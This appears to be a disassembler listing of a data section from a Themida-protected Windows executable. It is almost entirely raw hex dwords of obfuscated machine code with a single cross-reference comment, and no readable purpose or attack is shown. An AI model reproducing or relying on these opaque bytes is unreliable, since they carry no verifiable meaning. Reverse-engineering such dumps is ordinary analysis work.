dd 5, 207BCDB2h, 22BF66E3h, 95FF61E4h, 7E03441h, 88DBD33h
dd 8D8D07E0h, 7E3A393h, 0FFFEBF0Fh, 53006AD1h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 7F2C02B2h
dd 5F68FBCFh, 800FE6E6h, 0
dd 16B1BD83h, 0F0107E0h, 2485h, 0F99D8B00h, 6A07E033h
dd 16CF8002h, 24048950h, 127D9529h, 0B70F07E0h, 9995FFFFh
dd 8B07E02Ah, 0E01335BDh, 0E61E907h, 0E80000h, 5D000000h
dd 2177ED81h, 6A07E5h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 898DCBC3h, 0E0311185h, 63858D07h
dd 5007E394h, 99DF3DBFh, 24048950h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 0A1C35242h, 5EC7A169h, 376FCDBh
dd 0E00895BDh, 35FF6407h, 0
dd 258964h, 1000000h, 0E008C98Dh, 0FD85FF07h, 6A07E020h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 2B3EC357h, 81663578h, 66D6A7F7h, 6A5440BFh
dd 19D23FFh, 8B07E021h, 0E025659Dh, 49B5FF07h, 6A07E01Eh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 0CAA3C352h, 0BDB822F5h, 338995FFh, 5FE907E0h
dd 0BB000001h, 2279ACC6h, 6800Fh, 0B5890000h, 7E0199Dh
dd 70E600B0h, 6890Fh, 0BD8B0000h, 7E018D5h, 12E971E4h
dd 0E2000000h, 0B7B45EB6h, 0DC31B9E0h, 88306410h, 3288BC26h
dd 0F613CC7h, 11D83h, 9E800h, 6E690000h, 4736AA0Fh, 5BA5112Fh
dd 29119501h, 0B60F07E0h, 12810FC8h, 0E9000000h, 0Dh, 8CE879E1h
dd 0AC3D8538h, 0BA25A273h, 6BA5Dh, 8B600000h, 0E01BEDB5h
dd 0B9858B07h, 6107E01Bh, 0BD8BC18Bh, 7E017BDh, 0E804E8C1h
dd 10h, 2537662Ch, 672D0C3Dh, 210A55A1h, 74F04DD0h, 16EF8166h
dd 0F7665BCFh, 49BD33E2h, 2B07E01Bh, 119589C8h, 8B07E01Ah
dd 5DEB81D1h, 0E95BDA05h, 96h, 19818589h, 9D8B07E0h, 7E01225h
dd 4E49858Bh, 0D88B4400h, 0BF07C083h, 50AF1EF2h, 18798589h
dd 0C08307E0h, 0B1BD8B00h, 3B07E010h, 1C830FD0h
dword_59EB00 dd 0E9000000h, 11h, 150450CBh, 9A9B9456h, 61081AA0h, 8F054DCFh
; DATA XREF: Themida_:0055D2E8o
dd 48E908h, 8BFC0000h, 0FFFFFF8Dh, 0A9BD8BFFh, 8307E01Bh
dd 840F01E1h, 32h, 6810Fh, 95310000h, 7E019D9h, 0FFFFA583h
dd 29FEFFFFh, 0E023A185h, 12DF8107h, 890D19E8h, 4E4995h
dd 89D5B344h, 0E01E7DBDh, 0E907h, 0B58D0000h, 7E4A043h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 67C35141h
dd 0F3A68B49h, 0BFB98452h, 75A88921h, 0BD33006Ah, 7E028C9h
dd 18A995FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 9B4FBDC3h, 941D11B7h, 44B9FBD8h
dd 8B00000Fh, 0E032259Dh, 28A0F07h, 0B3000000h, 0FCE183EAh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0BCC35646h
dd 6AFCDED0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 0D89DC356h, 66A2D60Ah, 0BD8BDF8Bh
dd 7E02B3Dh, 6AC02Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 26FB7DC3h, 0DB50E87Dh, 81461B3Eh
dd 0E48134C3h, 0BA7Eh, 0FA8B0000h, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0BBC35141h, 5C94B12Eh, 0EE9A7FBh, 26000000h, 0E1FFA733h
dd 0CC409266h, 85E3F93Bh, 11BD8BB6h, 8B07E016h, 0E01D819Dh
dd 880D07h, 79B70000h, 1815958Bh, 6E807E0h, 0F1000000h
dd 990C497Eh, 5830BF31h, 295F2FCAh, 0E014CD8Dh, 498D8B07h
dd 0F07E020h, 682h, 11BD8900h, 5007E002h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0E2382373h
dd 7679B713h, 1595BD89h, 6A07E0h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 88F68FC3h, 8B820ABCh
dd 0E0348DBDh, 0F5BD8307h, 7E012h, 0B9840Fh, 6A0000h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0F4A6F2C3h, 0B8CE97F6h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1AC35747h
dd 0AE860B3h, 66000000h, 0B208E5AEh, 0FC094975h, 8B5EF99Ch
dd 0E0169D8Dh, 8D8D6107h, 7E04EE8h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 19h, 26C35545h, 274238Fh, 0C8A0F4Eh
dd 0F000000h, 687h, 799D8B00h, 6607E001h, 0FF7C66BBh, 52006AE1h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 83385621h, 0E022C5BDh, 840F0007h, 482h, 1D15BD8Bh, 0BD8307E0h
dd 7E022C5h, 8A840F01h, 6A000004h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7898C357h
dd 71BB9518h, 830490AFh, 0E022C5BDh, 860F0307h, 423h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D7C35646h, 89ACC4AEh
dd 0E007E99Dh, 66516007h, 665BDF8Bh, 8B50D98Ch, 0E004199Dh
dd 8D895F07h, 7E008D5h, 6A04E180h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D144C352h
dd 2AD8BDA7h, 0BF66399Ah, 0C90ADB69h, 158840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 2A3DA3C3h, 958963CDh, 7E007FDh, 6860Fh, 9D0B0000h, 7E00E11h
dd 3399858Bh, 9D8B07E0h, 7E01A9Dh, 31898533h, 6A07E0h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0BD8B70C3h, 7E023C9h, 9ABB6690h, 6A905024h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 7F04C356h, 29EAE857h, 0E02F618Dh, 0F8B70F07h, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 82FE2AC3h, 0A5F1664Eh, 29BD8B50h, 5B07E004h, 39337C68h
dd 815FB3F4h, 0D0832404h, 0FE8B0BE5h, 21CD95FFh, 6A07E0h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 8EADABC3h, 21BD8BD6h, 0F907E026h, 52D78166h, 0AD858920h
dd 6A07E3CBh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0B0C5C356h, 56CF24D5h, 9DBD8BCEh
dd 0E907E001h, 206h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 0F4C35242h, 0F2A6629h, 858BFEB7h, 7E3CBA5h
dd 0A709C781h, 880F5A7Ah, 0
dd 1800C7h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 776120C3h, 0E99D8B1Fh, 8B07E02Ch
dd 0E3CBA9B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 8BDA8B00h, 0E005F985h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 41A81C9Bh, 0FA481C3Bh, 89F98B7Ah, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0BFB39098h, 32E88FE5h, 14C381FCh, 8B4E055Bh, 0E0339985h
dd 19BD8B07h, 8907E011h, 81660446h, 503AEBD3h, 5FDE8B50h
dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 0B3B8C351h, 0A5B5FFDFh, 6A07E3CBh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 0DD51C357h, 8985089Eh, 0E0129DB5h, 4E807h
dd 3FF0000h, 0BF66001Fh, 50505DE3h, 0F88B6652h, 61B3310Fh
dd 448B585Ah, 0BABF0424h, 8B2B5C3Eh, 0D98B6600h, 4244489h
dd 6A58DF8Bh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 8981C353h, 0E006698Dh, 0AD858D07h
dd 6007E3CBh, 695B589h, 816607E0h, 61CFD2D0h, 8909B750h
dd 81602404h, 6FE9F4EAh, 92B86637h, 0C7806123h, 0CD95FF3Dh
dd 6A07E021h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0E04EC352h, 60074CB6h, 1111BD89h
dd 0B58B07E0h, 7E0004Dh, 7E861h, 0ECA50000h, 4FE57FE2h
dd 6870F53h, 3000000h, 0E019AD9Dh, 29615B07h, 0E01C6DB5h
dd 0C585C707h, 307E022h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EE3BC352h
dd 2D9D9D33h, 9D8B07E0h, 7E03105h, 0CBADBD83h, 0F0007E3h
dd 3284h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 0EDD2A429h, 0BE252EE7h, 0F88B668Ch
dd 278BF381h, 1BE920C4h, 50000000h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8BB0C3C3h
dd 8DBD8BF9h, 6007E011h, 0DBB70F50h, 0C9BF0F5Ah, 0C5BD8361h
dd 307E022h, 435850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 99A8A4C3h, 0AD8D8965h
dd 8307E033h, 0E3CBADBDh, 840F0007h, 403h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D6C35646h, 296467AAh
dd 1AD59509h, 0B5FF07E0h, 7E3CBADh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 75C35040h, 95FFCDE5h, 7E01DA9h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A0C35545h
dd 7D81ABE7h, 0D3E7569h, 59BD2965h, 0F07E02Ch, 0B58BDABFh
dd 7E3CBA1h, 5E8h, 25AC0F00h, 8B669DC4h, 6C75BDAh, 10001h
dd 58F0Fh, 81660000h, 50675BE7h, 3489D88Bh, 57006A24h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0ECE8D98Ah, 445B9DD7h, 0ADB5FF49h, 6A07E3CBh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 6638C350h, 0FFCE10BBh, 0E0301195h, 55006A07h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0B2C684A1h, 29F6E873h, 0E01BFD85h, 5D958907h, 8B07E026h
dd 0E3CBA1B5h, 0A9BD8907h, 8B07E001h, 0E022D185h, 9D09F807h
dd 7E013C5h, 0C48689h, 39BF0000h, 8B377065h, 0E0181595h
dd 0FBB70F07h, 191C90BBh, 4C28321h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0DBC35747h, 6BE1EA5Bh, 0F1B56B02h
dd 13E8DAh, 0E76A0000h, 7D3501D5h, 6DA78135h, 344C1DF9h
dd 0F0BEC122h, 0FB8B669Fh, 8D85895Fh, 8907E008h, 0BB512050h
dd 6085C4EEh, 0D4858D5Fh, 8007E3E0h, 8689CCF7h, 0B8h, 9E8h
dd 0A2986D00h, 0C3D1A80Ch, 8A0F6C50h, 6, 257DBD29h, 6A5B07E0h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 0FF3EEBD7h, 0E3CBADB5h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 0F86AD9ACh, 0F8299E0Ch, 2375BD8Bh, 95FF07E0h, 7E02A99h
dd 8950D98Bh, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 272BDBC3h, 0CB8166B6h, 0E7803721h
dd 0ADB5FF74h, 0E907E3CBh, 10h, 332E2DFDh, 3B745AAFh, 59062301h
dd 7B240102h, 28E995FFh, 0F6007E0h, 0D08BC2B7h, 0E1BD8361h
dd 7E028h, 54840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 4D026DC3h, 0A8B0Fh, 5E90000h
dd 4000000h, 9B945615h, 96FFB70Fh, 840Fh, 0E9500000h, 12h
dd 516DCF81h, 0CCC8D57Ch, 52488483h, 0A8ABB0DBh, 6696C006h
dd 0B5FFDE8Bh, 7E3CBADh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 0F5C35141h, 6B93487Bh, 7F079524h, 95FFFC70h
dd 7E03035h, 5810Fh, 81660000h, 313D96C3h, 0E0338D9Dh
dd 0ADB5FF07h, 8907E3CBh, 0E0304D95h, 0B995FF07h, 6A07E001h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 7E2BC350h, 351AD7C3h, 31BD8338h, 207E007h
dd 6C840Fh, 8E0F0000h, 6, 1AED9D09h, 8A0F07E0h, 6, 820Fh
dd 858B0000h, 7E02039h, 14E9h, 0D9C19700h, 5F8797B5h, 5B1FDBCFh
dd 122C875Eh, 731E74CFh, 0C6F4h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 18h, 0B1C35040h, 0F79B8F2Eh, 0C860Fh
dd 890F0000h, 6, 155D9589h, 85C707E0h, 7E0043Dh, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 1EC35141h
dd 0B8FD6C20h, 0F5BD8B1Eh, 0E907E02Dh, 0FFFFF287h, 1C5DBD8Bh
dd 0C18B07E0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 90C35343h, 0F54234ACh, 1D48352Ah, 0DE9C5h, 0EE5D0000h
dd 0CF11F9A9h, 7187E9FDh, 8DF6E92Ah, 0E013C985h, 919D2307h
dd 0F07E01Eh, 680h, 919D3100h, 5007E02Ah, 0C672BEBBh, 24048912h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 14C35343h
dd 6FA97C25h, 278A0218h, 6880Fh, 85090000h, 7E00099h, 6A006Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 86B97FC3h, 0BD8B2EB5h, 7E02675h, 0BB66006Ah, 0BD8BE307h
dd 7E01DADh, 31AA858Dh, 6A07E5h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 790ECC3h, 0A7E527B0h
dd 5C083F1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 0ECC35747h, 0D3329C64h, 8529608Dh, 7E023F1h, 61D6BF0Fh
dd 5E950h, 58060000h, 896AEAFAh, 850F2404h, 0
dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 8B309AC3h, 0E000999Dh, 60006A07h, 4ED858Bh
dd 858B07E0h, 7E01111h, 0DFBF0F61h, 344195FFh, 6A07E0h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 8D14D1C3h, 0E3A3938Dh, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0B1EE9535h
dd 61C56554h, 8D89D1FFh, 7E029F1h, 16B1BD83h, 0F0107E0h
dd 4D85h, 0F9B70F00h, 6A026AF8h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 416FC351h, 0EE950B0h
dd 0C000000h, 0A686D859h, 0BBDBFB80h, 7CA3494Fh, 2404890Fh
dd 10899D8Bh, 95FF07E0h, 7E02A99h, 339D8D89h, 2E907E0h
dd 0E800000Eh, 0
aBa1xJ db ']í´1å',7,'j',0
db 50h, 0E8h, 3
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 31BC350h, 0E011E99Dh, 63858D07h, 6A07E394h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0E0A4C353h, 0D0B7A4ACh, 0A2D7BB03h, 28F5BD89h, 8B5007E0h
dd 240489F9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 90C35040h, 4591AD94h, 14E823h, 61E90000h, 0AB2903DEh
dd 98489A33h, 0ADB964B7h, 2847A9E4h, 8B66D9F0h, 840F5FDFh
dd 1, 35FF64F9h, 0
dd 28A0Fh, 0DA8A0000h, 0E0D0BF66h, 258964h, 31000000h
dd 0E02C598Dh, 0FD85FF07h, 6607E020h, 0B8F4EB81h, 6AFF6Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 9ED0FCC3h, 0BF5E0385h, 0FF997FA6h, 0E022E5B5h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 7AAA2B60h, 0FE78175h, 95FFFBB7h, 7E03389h, 0F7E9h, 0B0F500h
dd 8B6670E6h, 8B71E4FAh, 0F613CDEh, 0E383h, 38B0F00h, 51000000h
dd 85895BFCh, 7E00709h, 66C8B60Fh, 0BA9E8ABBh, 6, 2066BB66h
dd 6060C18Bh, 0A0F2BB66h, 3235C781h, 8161369Ch, 0E9C7DBD7h
dd 0E8C16155h, 399D2904h, 6607E004h, 870FE2F7h, 3, 2BF9BF0Fh
dd 0BE960C8h, 0FC000000h, 80C6F273h, 0C9CCCEDBh, 8B665B43h
dd 0D18B61CBh, 6860Fh, 85890000h, 7E02FF1h, 6FE9h, 4C858B00h
dd 89505F4Ch, 0E0238DB5h, 0F9BF0F07h, 0F07C083h, 685h
dd 74EB8100h, 661F36A2h, 0C083DF8Bh, 0C8BF6600h, 0FD03BAEh
dd 1583h, 6870F00h, 29000000h, 0E01C759Dh, 2EE907h, 0BF660000h
dd 8D8B1375h, 0FFFFFFFFh, 0E183E6B3h, 19840F01h, 83000000h
dd 0FFFFFFA5h, 9D89FEFFh, 7E03401h, 4C4C9589h, 0E9F5505Fh
dd 0
aNZpfJ db 'µ‡¯ä',7,'j',0
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 528FEFC3h, 7E8A8h, 0C56B0000h, 90E3EE57h, 19BD8B54h
dd 5B07E029h, 8B66006Ah, 0AE9DAh, 392B0000h, 0D0E6F129h
dd 0E2DB1458h, 18A995FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 9D8B57C3h, 7E02429h
dd 0FB5B9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 0E634F08Dh, 0FEE7AFDh, 684h, 35BD8B00h
dd 8307E013h, 9D8BFCE1h, 7E01FDDh, 8B0FFCh, 2B000000h
dd 816657C0h, 5BF48DCBh, 0BAh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1404h, 0C3514100h, 95BD89FDh
dd 8907E025h, 0E02B29BDh, 0C233AD07h, 0D003E8D1h, 7504E983h
dd 55006AF4h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 98CFD18h, 0E0019195h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0A59C2DEBh
dd 31CA7726h, 0D9BD8B8Fh, 0E807E021h, 5, 7ACA0672h, 65958995h
dd 5B07E030h, 880Dh, 0AD9D0B00h, 8B07E02Dh, 0E0181595h
dd 599D8907h, 8B07E029h, 0E020498Dh, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8B50D9D6h
dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 74C35242h, 0F98B591Dh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 79C35343h
dd 0A9F8CDB1h, 0D3ECA413h, 837FD780h, 0E012F5BDh, 840F0007h
dd 60h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
dd 0ADC35646h, 9D5D6186h, 0B8D9h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 6DDEA3C3h
dd 8B29DD2Ah, 0E02E11BDh, 0E88D8D07h, 8907E04Eh, 0E034319Dh
dd 0BBE1FF07h, 18AB8761h, 22C5BD83h, 0F0007E0h, 46F84h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 0B4559372h, 2FC1BD8Bh, 0BD8307E0h, 7E022C5h
dd 58840F01h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 6872C357h, 83F9856Ch
dd 0E022C5BDh, 860F0307h, 3F5h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 0D4C35141h, 319D8B37h, 8907E018h
dd 0E005458Dh, 0A19D0907h, 6007E015h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 45C35545h, 12E945A6h, 0F0000000h
dd 9713C2E4h, 0B79DDBC5h, 5F7CD353h, 824E26AAh, 0D98C667Eh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 41C35040h
dd 80E3D380h, 10E804E1h, 88000000h, 0B3403FBh, 5CD33392h
dd 7A1B5288h, 8B12889Ch, 0C90A5FD8h, 113840Fh, 0B4600000h
dd 0A59D0123h, 6107E021h, 3399858Bh, 6A07E0h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 0E2F3EC3h
dd 899D8912h, 3307E01Eh, 0E0318985h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 7E90228h, 83000000h
dd 0B95B6032h, 850F30AAh, 5, 0DEEF8166h, 52505064h, 7E8h
dd 0AF0DB800h, 0D4845D4h, 0F5F6160h, 5AE7B731h, 24048958h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 44C35747h
dd 81663026h, 6A7DA1C7h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0CD4B164Bh, 0B7E90DFAh
dd 8D8971FFh, 7E01C9Dh, 8C989568h, 5AEABB1Ch, 3481137Fh
dd 939B6A24h, 68D0F1Ch, 8B000000h, 0E021D59Dh, 0CD95FF07h
dd 8B07E021h, 0E02B5DBDh, 0AD858907h, 0F907E3CBh, 175E9h
dd 73B75300h, 0A5858B5Fh, 0B707E3CBh, 1800C750h, 0BF000000h
dd 78318880h, 0B58B85B7h, 7E3CBA9h, 1AC99D8Bh, 858B07E0h
dd 7E005F9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0A0C35040h, 0E95334CBh, 10h, 58ACF4A4h, 0CD0A29F0h
dd 76166CC3h, 17F5E43h, 5850Fh, 0BDBB0000h, 895AC0E3h
dd 0B5BD8B06h, 8B07E033h, 0E0339985h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 89C7A697h, 0BB660446h, 505024FCh, 28E0F52h, 60000000h
dd 0E8310F61h, 13h, 0F7A041Fh, 0EB6E8D06h, 0F1635387h
dd 456AE418h, 66503E8Eh, 5A5BD88Bh, 24348958h, 8E0Fh, 85890000h
dd 7E0061Dh, 0CBA5B5FFh, 6A07E3h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 79C972C3h, 658D29C0h
dd 6807E033h, 0DC649FBh, 0FCBF6657h, 34815B54h, 0D94A0424h
dd 51006A0Dh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 0E3650215h, 0AD858DD1h, 6A07E3CBh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 17BDC353h, 905B04AEh, 157DBF66h, 0F88B6650h, 71858990h
dd 0FF07E02Dh, 0E021CD95h, 0E7816607h, 6A6116BFh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 9B7BC353h, 13B3C4D3h, 66BE4316h, 0D18FCF81h, 22C585C7h
dd 307E0h, 0FE80000h, 0A8000000h, 0E1A9265Fh, 26B8F568h
dd 7D19F2ACh, 860F5831h, 3, 5B49E380h, 0CBADBD83h, 0F0007E3h
dd 6884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 60F0194Fh, 0DAFE3269h, 0BE9B5CCh
dd 0AA000000h, 64F81297h, 0EA651398h, 49E9F6CBh, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 5BB4C351h, 0D82379Dh, 0DD9D8B01h, 8907E02Ch
dd 0E0228D85h, 0C305007h, 11440011h, 10E8C101h, 2114430h
dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 46C35747h, 1AA9E1B8h, 0FB4DD57h, 6AFBB7h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
dd 84572BC3h, 0E88D792Ch, 14h, 3FFC7236h, 2FF19066h, 3ED8611Bh
dd 12A590FAh, 0F6EFF0EEh, 0A076CF81h, 895B59F7h, 0E01D6D8Dh
dd 0C5BD8307h, 307E022h, 441850Fh, 8D890000h, 7E02381h
dd 0CBADBD83h, 0F0007E3h, 42E84h, 959D2300h, 0B707E000h
dd 0ADB5FFCDh, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 0B51BC352h, 7939DBA1h
dd 7590EB81h, 0B5296DE7h, 7E01A69h, 1DA995FFh, 958907E0h
dd 7E01A31h, 0CBA1B58Bh, 860F07E3h, 6, 5F0EDF81h, 0BD8938AEh
dd 7E0335Dh, 106C7h, 6A0001h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 9A3C39C3h
dd 126E221Bh, 0BD8955A9h, 7E00795h, 0DEDBD8Bh, 665007E0h
dd 89EADABFh, 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0A1A4F6C3h, 0F15BD874h, 0B5895180h
dd 7E02DF5h, 0ADB5FF5Fh, 0E907E3CBh, 13h, 0E95AE2E9h, 82AE8DC6h
dd 5DBB311Eh, 0DDB787FFh, 918F3D4h, 0E02A95B5h, 1195FF07h
dd 6A07E030h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 0A346C353h, 81541493h, 969D4BDBh
dd 0A1B58B68h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 0B221C352h, 698D01D4h
dd 0F807E023h, 22D1858Bh, 9E807E0h, 41000000h, 0FF09CA7Fh
dd 381AF093h, 6810Fh, 9D8B0000h, 7E023D9h, 0C486895Bh
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0F23C357h, 198Dh, 14E900h, 0FAF20000h
dd 18C913DCh, 0F902214Ch, 748BC744h, 0B43798Ah, 958B0E13h
dd 7E01815h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0C0C35343h, 0F9312039h, 8904C283h, 0E0344DB5h
dd 20508907h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 4CC35545h, 1B05D1B2h, 419D8B87h, 0F507E015h, 0E0D4858Dh
dd 6A07E3h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
